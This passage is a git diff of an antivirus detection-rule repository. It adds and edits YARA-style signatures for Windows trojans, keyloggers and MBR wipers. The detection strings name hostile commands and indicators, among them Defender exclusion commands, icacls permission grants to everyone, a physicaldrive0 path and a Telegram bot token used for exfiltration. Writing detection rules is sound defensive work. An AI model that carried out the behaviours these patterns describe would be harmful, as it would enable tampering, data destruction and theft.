80 a9 12 80 ad 11 2c 02 02 12 80 b1 02 12 80 b1 13 07 0a 1d 05 1d 03 08 1d 05 12 80 b5 1d 05 1d 05 08 08 08 04 20 00 1d 03 04 20 01 08 08 04 00 01 } //1 + $a_01_1 = {6f 3d 00 00 0a 13 3f 2b 4e 12 3f 28 3e 00 00 0a 13 40 1f 6e 0d 11 40 28 3f 00 00 0a 13 41 11 41 2c 31 1f 6f 0d 11 40 11 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/HijackExchgServer/Trojan_Win32_HijackExchgServer_A.yar b/Trojan/Win32/HijackExchgServer/Trojan_Win32_HijackExchgServer_A.yar index 09e235dab7..1e48541caf 100644 --- a/Trojan/Win32/HijackExchgServer/Trojan_Win32_HijackExchgServer_A.yar +++ b/Trojan/Win32/HijackExchgServer/Trojan_Win32_HijackExchgServer_A.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_HijackExchgServer_A{ meta: - description = "Trojan:Win32/HijackExchgServer.A,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 16 00 00 " + description = "Trojan:Win32/HijackExchgServer.A,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 17 00 00 " strings : $a_00_0 = {63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 } //10 cmd.exe @@ -26,7 +26,8 @@ rule Trojan_Win32_HijackExchgServer_A{ $a_00_19 = {2d 00 74 00 65 00 6e 00 61 00 6e 00 74 00 69 00 64 00 20 00 } //-50 -tenantid $a_00_20 = {2d 00 6e 00 65 00 77 00 41 00 6c 00 69 00 61 00 73 00 } //-50 -newAlias $a_00_21 = {2d 00 72 00 65 00 6d 00 6f 00 76 00 65 00 41 00 6c 00 69 00 61 00 73 00 } //-50 -removeAlias + $a_00_22 = {53 00 61 00 76 00 69 00 79 00 6e 00 74 00 41 00 70 00 70 00 } //-50 SaviyntApp condition: - ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*10+(#a_00_7 & 1)*10+(#a_00_8 & 1)*-50+(#a_00_9 & 1)*-50+(#a_00_10 & 1)*-50+(#a_00_11 & 1)*-50+(#a_00_12 & 1)*-50+(#a_00_13 & 1)*-50+(#a_00_14 & 1)*-50+(#a_00_15 & 1)*-50+(#a_00_16 & 1)*-50+(#a_00_17 & 1)*-50+(#a_00_18 & 1)*-50+(#a_00_19 & 1)*-50+(#a_00_20 & 1)*-50+(#a_00_21 & 1)*-50) >=10 + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*10+(#a_00_7 & 1)*10+(#a_00_8 & 1)*-50+(#a_00_9 & 1)*-50+(#a_00_10 & 1)*-50+(#a_00_11 & 1)*-50+(#a_00_12 & 1)*-50+(#a_00_13 & 1)*-50+(#a_00_14 & 1)*-50+(#a_00_15 & 1)*-50+(#a_00_16 & 1)*-50+(#a_00_17 & 1)*-50+(#a_00_18 & 1)*-50+(#a_00_19 & 1)*-50+(#a_00_20 & 1)*-50+(#a_00_21 & 1)*-50+(#a_00_22 & 1)*-50) >=10 } \ No newline at end of file diff --git a/Trojan/Win32/HokLiib/Trojan_Win32_HokLiib_A.yar b/Trojan/Win32/HokLiib/Trojan_Win32_HokLiib_A.yar new file mode 100644 index 0000000000..5488128a9f --- /dev/null +++ b/Trojan/Win32/HokLiib/Trojan_Win32_HokLiib_A.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_HokLiib_A{ + meta: + description = "Trojan:Win32/HokLiib.A,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {2d 00 44 00 6f 00 6e 00 74 00 53 00 74 00 6f 00 70 00 49 00 66 00 47 00 6f 00 69 00 6e 00 67 00 4f 00 6e 00 42 00 61 00 74 00 74 00 65 00 72 00 69 00 65 00 73 00 } //1 -DontStopIfGoingOnBatteries + $a_00_1 = {2d 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 54 00 69 00 6d 00 65 00 4c 00 69 00 6d 00 69 00 74 00 20 00 27 00 30 00 30 00 3a 00 30 00 30 00 3a 00 30 00 30 00 27 00 } //1 -ExecutionTimeLimit '00:00:00' + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/HoneyMyte/Trojan_Win32_HoneyMyte_AO_MTB.yar b/Trojan/Win32/HoneyMyte/Trojan_Win32_HoneyMyte_AO_MTB.yar new file mode 100644 index 0000000000..8600339920 --- /dev/null +++ b/Trojan/Win32/HoneyMyte/Trojan_Win32_HoneyMyte_AO_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_HoneyMyte_AO_MTB{ + meta: + description = "Trojan:Win32/HoneyMyte.AO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 07 00 00 " + + strings : + $a_01_0 = {47 6c 6f 62 61 6c 5c 66 6a 71 77 6c 66 6a 6b 6c 77 71 67 68 } //2 Global\fjqwlfjklwqgh + $a_01_1 = {47 6c 6f 62 61 6c 5c 73 64 6a 73 61 6c 6b 5f 6f 6e 63 65 } //2 Global\sdjsalk_once + $a_01_2 = {43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 4e 00 45 00 57 00 46 00 59 00 47 00 4f 00 } //1 C:\ProgramData\NEWFYGO + $a_01_3 = {67 00 72 00 61 00 6e 00 74 00 3a 00 72 00 20 00 45 00 76 00 65 00 72 00 79 00 6f 00 6e 00 65 00 3a 00 28 00 4f 00 49 00 29 00 28 00 43 00 49 00 29 00 } //1 grant:r Everyone:(OI)(CI) + $a_01_4 = {63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 69 00 63 00 61 00 63 00 6c 00 73 00 } //1 cmd.exe /c icacls + $a_01_5 = {66 00 73 00 3a 00 4e 00 54 00 46 00 53 00 20 00 2f 00 51 00 20 00 2f 00 59 00 } //1 fs:NTFS /Q /Y + $a_01_6 = {31 00 2e 00 74 00 78 00 74 00 } //1 1.txt + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=9 + +} \ No newline at end of file diff --git a/Trojan/Win32/HoneyMyte/Trojan_Win32_HoneyMyte_GVA_MTB.yar b/Trojan/Win32/HoneyMyte/Trojan_Win32_HoneyMyte_GVA_MTB.yar new file mode 100644 index 0000000000..89b3485de0 --- /dev/null +++ b/Trojan/Win32/HoneyMyte/Trojan_Win32_HoneyMyte_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_HoneyMyte_GVA_MTB{ + meta: + description = "Trojan:Win32/HoneyMyte.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8b 45 08 69 88 ec 01 00 00 fd 43 03 00 81 c1 c3 9e 26 00 8b 55 08 89 8a ec 01 00 00 8b 45 08 8b 80 ec 01 00 00 5f 5e 5b 81 c4 c0 00 00 00 3b ec } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ICLoader/Trojan_Win32_ICLoader_DA_MTB.yar b/Trojan/Win32/ICLoader/Trojan_Win32_ICLoader_DA_MTB.yar new file mode 100644 index 0000000000..ae9a7e4fbb --- /dev/null +++ b/Trojan/Win32/ICLoader/Trojan_Win32_ICLoader_DA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ICLoader_DA_MTB{ + meta: + description = "Trojan:Win32/ICLoader.DA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {4c 00 32 c8 a1 ?? ?? 4c 00 88 0d ?? ?? 4c 00 8b 0d ?? ?? 4c 00 8b 15 ?? ?? 4c 00 83 e1 04 03 c1 83 e2 0c a3 ?? ?? 4c 00 a1 ?? ?? 4c 00 25 ff 00 00 00 8b 0d ?? ?? 4c 00 0f af d0 55 56 8b 35 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/ICLoader/Trojan_Win32_ICLoader_RPY_MTB.yar b/Trojan/Win32/ICLoader/Trojan_Win32_ICLoader_RPY_MTB.yar index 4cdb68acf3..57f1cf5abf 100644 --- a/Trojan/Win32/ICLoader/Trojan_Win32_ICLoader_RPY_MTB.yar +++ b/Trojan/Win32/ICLoader/Trojan_Win32_ICLoader_RPY_MTB.yar @@ -1,15 +1,5 @@ rule Trojan_Win32_ICLoader_RPY_MTB{ - meta: - description = "Trojan:Win32/ICLoader.RPY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " - - strings : - $a_01_0 = {ff 30 8b 04 24 50 89 e0 05 04 00 00 00 51 b9 04 00 00 00 01 c8 59 33 04 24 31 04 24 33 04 24 } //1 - condition: - ((#a_01_0 & 1)*1) >=1 - -} -rule Trojan_Win32_ICLoader_RPY_MTB_2{ meta: description = "Trojan:Win32/ICLoader.RPY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -20,7 +10,7 @@ rule Trojan_Win32_ICLoader_RPY_MTB_2{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 } -rule Trojan_Win32_ICLoader_RPY_MTB_3{ +rule Trojan_Win32_ICLoader_RPY_MTB_2{ meta: description = "Trojan:Win32/ICLoader.RPY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -31,7 +21,7 @@ rule Trojan_Win32_ICLoader_RPY_MTB_3{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 } -rule Trojan_Win32_ICLoader_RPY_MTB_4{ +rule Trojan_Win32_ICLoader_RPY_MTB_3{ meta: description = "Trojan:Win32/ICLoader.RPY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 00 " diff --git a/Trojan/Win32/IcaclsDrive/Trojan_Win32_IcaclsDrive_B_ibt.yar b/Trojan/Win32/IcaclsDrive/Trojan_Win32_IcaclsDrive_B_ibt.yar new file mode 100644 index 0000000000..022a3de4ed --- /dev/null +++ b/Trojan/Win32/IcaclsDrive/Trojan_Win32_IcaclsDrive_B_ibt.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_IcaclsDrive_B_ibt{ + meta: + description = "Trojan:Win32/IcaclsDrive.B!ibt,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 01 00 00 " + + strings : + $a_02_0 = {26 00 20 00 69 00 63 00 61 00 63 00 6c 00 73 00 [0-60] 2e 00 62 00 69 00 6e 00 20 00 2f 00 67 00 72 00 61 00 6e 00 74 00 20 00 65 00 76 00 65 00 72 00 79 00 6f 00 6e 00 65 00 3a 00 66 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //20 + condition: + ((#a_02_0 & 1)*20) >=20 + +} \ No newline at end of file diff --git a/Trojan/Win32/IcedID/Trojan_Win32_IcedID_PAA_MTB.yar b/Trojan/Win32/IcedID/Trojan_Win32_IcedID_PAA_MTB.yar index 2e1b9c0900..987a9d7750 100644 --- a/Trojan/Win32/IcedID/Trojan_Win32_IcedID_PAA_MTB.yar +++ b/Trojan/Win32/IcedID/Trojan_Win32_IcedID_PAA_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_Win32_IcedID_PAA_MTB{ + meta: + description = "Trojan:Win32/IcedID.PAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_03_0 = {48 89 44 24 10 8b 54 24 10 0f b6 c3 0f b6 da 0f af d8 8b 15 ?? ?? ?? ?? c0 e3 05 } //4 + condition: + ((#a_03_0 & 1)*4) >=4 + +} +rule Trojan_Win32_IcedID_PAA_MTB_2{ meta: description = "Trojan:Win32/IcedID.PAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 00 " diff --git a/Trojan/Win32/IcedID/Trojan_Win32_IcedId_AC_MTB.yar b/Trojan/Win32/IcedID/Trojan_Win32_IcedId_AC_MTB.yar new file mode 100644 index 0000000000..0438e20f6b --- /dev/null +++ b/Trojan/Win32/IcedID/Trojan_Win32_IcedId_AC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_IcedId_AC_MTB{ + meta: + description = "Trojan:Win32/IcedId.AC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8b dc e6 e8 00 68 45 58 82 72 5a 00 00 22 10 f8 d8 48 02 b2 00 68 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/IcedID/Trojan_Win32_IcedId_PAB_MTB.yar b/Trojan/Win32/IcedID/Trojan_Win32_IcedId_PAB_MTB.yar new file mode 100644 index 0000000000..b5edee02e5 --- /dev/null +++ b/Trojan/Win32/IcedID/Trojan_Win32_IcedId_PAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_IcedId_PAB_MTB{ + meta: + description = "Trojan:Win32/IcedId.PAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {8d 0c 50 8b 15 ?? ?? ?? ?? 2b d1 89 15 ?? ?? ?? ?? a1 ?? ?? ?? ?? 05 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Injector/Trojan_Win32_Injector_PAQD_MTB.yar b/Trojan/Win32/Injector/Trojan_Win32_Injector_PAQD_MTB.yar new file mode 100644 index 0000000000..8229654c62 --- /dev/null +++ b/Trojan/Win32/Injector/Trojan_Win32_Injector_PAQD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Injector_PAQD_MTB{ + meta: + description = "Trojan:Win32/Injector.PAQD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {8b 55 fc 8b 32 33 c0 85 f6 7e ?? 8b 55 08 8a 14 10 30 14 07 40 3b c6 7c ?? 83 45 fc 04 83 c7 19 81 7d fc } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Injuke/Trojan_Win32_Injuke_GZP_MTB.yar b/Trojan/Win32/Injuke/Trojan_Win32_Injuke_GZP_MTB.yar new file mode 100644 index 0000000000..94af259f80 --- /dev/null +++ b/Trojan/Win32/Injuke/Trojan_Win32_Injuke_GZP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Injuke_GZP_MTB{ + meta: + description = "Trojan:Win32/Injuke.GZP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {56 89 c7 ff d0 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 ff d7 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 ff d7 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 b5 ?? ?? ?? ?? 56 89 bd ?? ?? ?? ?? ff d7 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Jaik/Trojan_Win32_Jaik_ISR_MTB.yar b/Trojan/Win32/Jaik/Trojan_Win32_Jaik_ISR_MTB.yar new file mode 100644 index 0000000000..373ca5a745 --- /dev/null +++ b/Trojan/Win32/Jaik/Trojan_Win32_Jaik_ISR_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Jaik_ISR_MTB{ + meta: + description = "Trojan:Win32/Jaik.ISR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {43 6e 64 6f 6d 36 2e 73 79 73 } //1 Cndom6.sys + $a_81_1 = {58 69 61 6f 48 2e 73 79 73 } //1 XiaoH.sys + $a_81_2 = {41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 61 74 68 20 27 43 3a 5c 5c 55 73 65 72 73 5c 5c 50 75 62 6c 69 63 5c 5c 44 6f 63 75 6d 65 6e 74 73 } //1 Add-MpPreference -ExclusionPath 'C:\\Users\\Public\\Documents + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Jaik/Trojan_Win32_Jaik_KK_MTB.yar b/Trojan/Win32/Jaik/Trojan_Win32_Jaik_KK_MTB.yar new file mode 100644 index 0000000000..6c7e48dd23 --- /dev/null +++ b/Trojan/Win32/Jaik/Trojan_Win32_Jaik_KK_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Jaik_KK_MTB{ + meta: + description = "Trojan:Win32/Jaik.KK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,3c 00 3c 00 03 00 00 " + + strings : + $a_01_0 = {8b 8d e4 fd ff ff 03 c2 8b 95 e0 fd ff ff 0f b6 c0 0f b6 84 05 f0 fe ff ff 30 04 0a } //30 + $a_03_1 = {03 c8 81 e1 ff 00 00 80 79 ?? 49 81 c9 00 ff ff ff 41 8a 84 0d ?? ?? ?? ?? 88 84 3d 90 1b 01 47 89 8d ?? ?? ff ff 88 9c 0d 90 1b 02 81 ff } //20 + $a_01_2 = {6d 73 67 64 65 75 70 64 61 74 65 2e 65 78 65 } //10 msgdeupdate.exe + condition: + ((#a_01_0 & 1)*30+(#a_03_1 & 1)*20+(#a_01_2 & 1)*10) >=60 + +} \ No newline at end of file diff --git a/Trojan/Win32/Jaik/Trojan_Win32_Jaik_NH_MTB.yar b/Trojan/Win32/Jaik/Trojan_Win32_Jaik_NH_MTB.yar new file mode 100644 index 0000000000..3faf0a1a56 --- /dev/null +++ b/Trojan/Win32/Jaik/Trojan_Win32_Jaik_NH_MTB.yar @@ -0,0 +1,30 @@ + +rule Trojan_Win32_Jaik_NH_MTB{ + meta: + description = "Trojan:Win32/Jaik.NH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_01_0 = {77 77 77 77 77 2e 70 68 70 } //2 wwwww.php + $a_01_1 = {65 00 78 00 65 00 70 00 61 00 79 00 6c 00 6f 00 61 00 64 00 5c 00 68 00 74 00 74 00 70 00 } //1 exepayload\http + $a_02_2 = {54 45 4d 50 [0-04] 2e 74 78 74 } //1 + $a_01_3 = {6d 73 73 6c 61 63 2e 64 6c 6c } //1 msslac.dll + $a_01_4 = {49 4e 54 45 52 4e 45 54 5f 4f 50 54 49 4f 4e 5f 50 41 53 53 57 4f 52 44 } //1 INTERNET_OPTION_PASSWORD + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_02_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} +rule Trojan_Win32_Jaik_NH_MTB_2{ + meta: + description = "Trojan:Win32/Jaik.NH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 00 " + + strings : + $a_03_0 = {85 f6 75 15 e8 91 f4 ff ff c7 00 ?? 00 00 00 e8 ac f3 ff ff 83 c8 ff eb 3c 8b 46 0c } //2 + $a_01_1 = {61 67 65 6e 74 } //1 agent + $a_01_2 = {73 68 75 74 64 6f 77 6e 20 2f 72 20 2f 74 20 30 } //1 shutdown /r /t 0 + $a_01_3 = {44 65 66 69 6e 65 63 2e 65 78 65 } //1 Definec.exe + $a_01_4 = {6d 73 73 6c 61 63 2e 64 6c 6c } //1 msslac.dll + $a_01_5 = {41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 53 74 61 72 74 20 4d 65 6e 75 5c 50 72 6f 67 72 61 6d 73 5c 53 74 61 72 74 75 70 5c 63 62 61 73 2e 6c 6e 6b } //1 AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cbas.lnk + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/Jaik/Trojan_Win32_Jaik_TL_MTB.yar b/Trojan/Win32/Jaik/Trojan_Win32_Jaik_TL_MTB.yar new file mode 100644 index 0000000000..114e787d16 --- /dev/null +++ b/Trojan/Win32/Jaik/Trojan_Win32_Jaik_TL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Jaik_TL_MTB{ + meta: + description = "Trojan:Win32/Jaik.TL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {00 1e 65 00 be 4a 6a 24 b6 4a 6a 24 7e 4a 6a 24 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/KazakageDropper/Trojan_Win32_KazakageDropper_SCP_MTB.yar b/Trojan/Win32/KazakageDropper/Trojan_Win32_KazakageDropper_SCP_MTB.yar new file mode 100644 index 0000000000..5c2ec826ec --- /dev/null +++ b/Trojan/Win32/KazakageDropper/Trojan_Win32_KazakageDropper_SCP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_KazakageDropper_SCP_MTB{ + meta: + description = "Trojan:Win32/KazakageDropper.SCP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {68 8c 8e 40 00 e8 ?? ?? ?? ?? 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 00 0c 07 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/KeyLogger/Trojan_Win32_KeyLogger_EJQQ_MTB.yar b/Trojan/Win32/KeyLogger/Trojan_Win32_KeyLogger_EJQQ_MTB.yar new file mode 100644 index 0000000000..e185ff5ea7 --- /dev/null +++ b/Trojan/Win32/KeyLogger/Trojan_Win32_KeyLogger_EJQQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_KeyLogger_EJQQ_MTB{ + meta: + description = "Trojan:Win32/KeyLogger.EJQQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {33 c1 8b 55 08 03 55 fc 88 02 ?? ?? b0 01 8b e5 5d } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/KeyLogger/Trojan_Win32_KeyLogger_MX_MTB.yar b/Trojan/Win32/KeyLogger/Trojan_Win32_KeyLogger_MX_MTB.yar new file mode 100644 index 0000000000..d7b613f076 --- /dev/null +++ b/Trojan/Win32/KeyLogger/Trojan_Win32_KeyLogger_MX_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_KeyLogger_MX_MTB{ + meta: + description = "Trojan:Win32/KeyLogger.MX!MTB,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {4b 65 79 6c 6f 67 67 65 72 } //1 Keylogger + $a_01_1 = {50 72 6f 6a 65 63 74 4c 6f 67 66 75 63 6b 2e 70 64 62 } //1 ProjectLogfuck.pdb + $a_01_2 = {77 00 65 00 62 00 68 00 6f 00 6f 00 6b 00 } //1 webhook + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/KeyLogger/Trojan_Win32_Keylogger_PGL_MTB.yar b/Trojan/Win32/KeyLogger/Trojan_Win32_Keylogger_PGL_MTB.yar new file mode 100644 index 0000000000..e02e14fdb2 --- /dev/null +++ b/Trojan/Win32/KeyLogger/Trojan_Win32_Keylogger_PGL_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Keylogger_PGL_MTB{ + meta: + description = "Trojan:Win32/Keylogger.PGL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {5c 00 73 00 79 00 73 00 70 00 72 00 6f 00 63 00 2e 00 65 00 78 00 65 00 } //1 \sysproc.exe + $a_80_1 = {38 30 38 38 35 39 35 32 30 31 3a 41 41 47 71 6e 37 58 7a 42 73 59 30 74 39 76 42 44 65 39 68 4b 75 53 64 63 76 32 44 56 46 6f 74 69 43 67 } //8088595201:AAGqn7XzBsY0t9vBDe9hKuSdcv2DVFotiCg 2 + $a_80_2 = {2f 73 65 6e 64 4d 65 73 73 61 67 65 3f 63 68 61 74 5f 69 64 3d } ///sendMessage?chat_id= 2 + condition: + ((#a_01_0 & 1)*1+(#a_80_1 & 1)*2+(#a_80_2 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Khalesi/Trojan_Win32_Khalesi_PGK_MTB.yar b/Trojan/Win32/Khalesi/Trojan_Win32_Khalesi_PGK_MTB.yar new file mode 100644 index 0000000000..50a2557fc4 --- /dev/null +++ b/Trojan/Win32/Khalesi/Trojan_Win32_Khalesi_PGK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Khalesi_PGK_MTB{ + meta: + description = "Trojan:Win32/Khalesi.PGK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {2e 74 65 78 74 00 00 00 c0 78 00 00 00 10 00 00 00 7a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 } //5 + $a_01_1 = {2e 74 65 78 74 00 00 00 00 20 00 00 00 90 0a 00 00 14 00 00 00 30 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 } //5 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/KillDisk/Trojan_Win32_KillDisk_EEB_MTB.yar b/Trojan/Win32/KillDisk/Trojan_Win32_KillDisk_EEB_MTB.yar new file mode 100644 index 0000000000..605390e22d --- /dev/null +++ b/Trojan/Win32/KillDisk/Trojan_Win32_KillDisk_EEB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_KillDisk_EEB_MTB{ + meta: + description = "Trojan:Win32/KillDisk.EEB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {22 d0 88 94 05 ?? ?? ?? ?? 40 3d 80 a9 03 00 72 ?? ?? ?? ?? ?? ?? ?? c7 85 } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_ARAZ_MTB.yar b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_ARAZ_MTB.yar index f06177e05c..3adf727ef0 100644 --- a/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_ARAZ_MTB.yar +++ b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_ARAZ_MTB.yar @@ -1,5 +1,16 @@ rule Trojan_Win32_KillMBR_ARAZ_MTB{ + meta: + description = "Trojan:Win32/KillMBR.ARAZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {59 6f 75 72 20 64 69 73 6b 20 68 61 76 65 20 61 20 6c 6f 63 6b 21 50 6c 65 61 73 65 20 69 6e 70 75 74 20 74 68 65 20 75 6e 6c 6f 63 6b 20 70 61 73 73 77 6f 72 64 21 } //2 Your disk have a lock!Please input the unlock password! + $a_01_1 = {40 5c 5c 2e 5c 5c 70 68 79 73 69 63 61 6c 64 72 69 76 65 30 } //2 @\\.\\physicaldrive0 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} +rule Trojan_Win32_KillMBR_ARAZ_MTB_2{ meta: description = "Trojan:Win32/KillMBR.ARAZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 00 " @@ -12,7 +23,7 @@ rule Trojan_Win32_KillMBR_ARAZ_MTB{ ((#a_01_0 & 1)*2+(#a_80_1 & 1)*2+(#a_80_2 & 1)*2+(#a_80_3 & 1)*2) >=8 } -rule Trojan_Win32_KillMBR_ARAZ_MTB_2{ +rule Trojan_Win32_KillMBR_ARAZ_MTB_3{ meta: description = "Trojan:Win32/KillMBR.ARAZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " diff --git a/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EABR_MTB.yar b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EABR_MTB.yar new file mode 100644 index 0000000000..0e2c2700c8 --- /dev/null +++ b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EABR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_KillMBR_EABR_MTB{ + meta: + description = "Trojan:Win32/KillMBR.EABR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {ca 88 8c 05 78 56 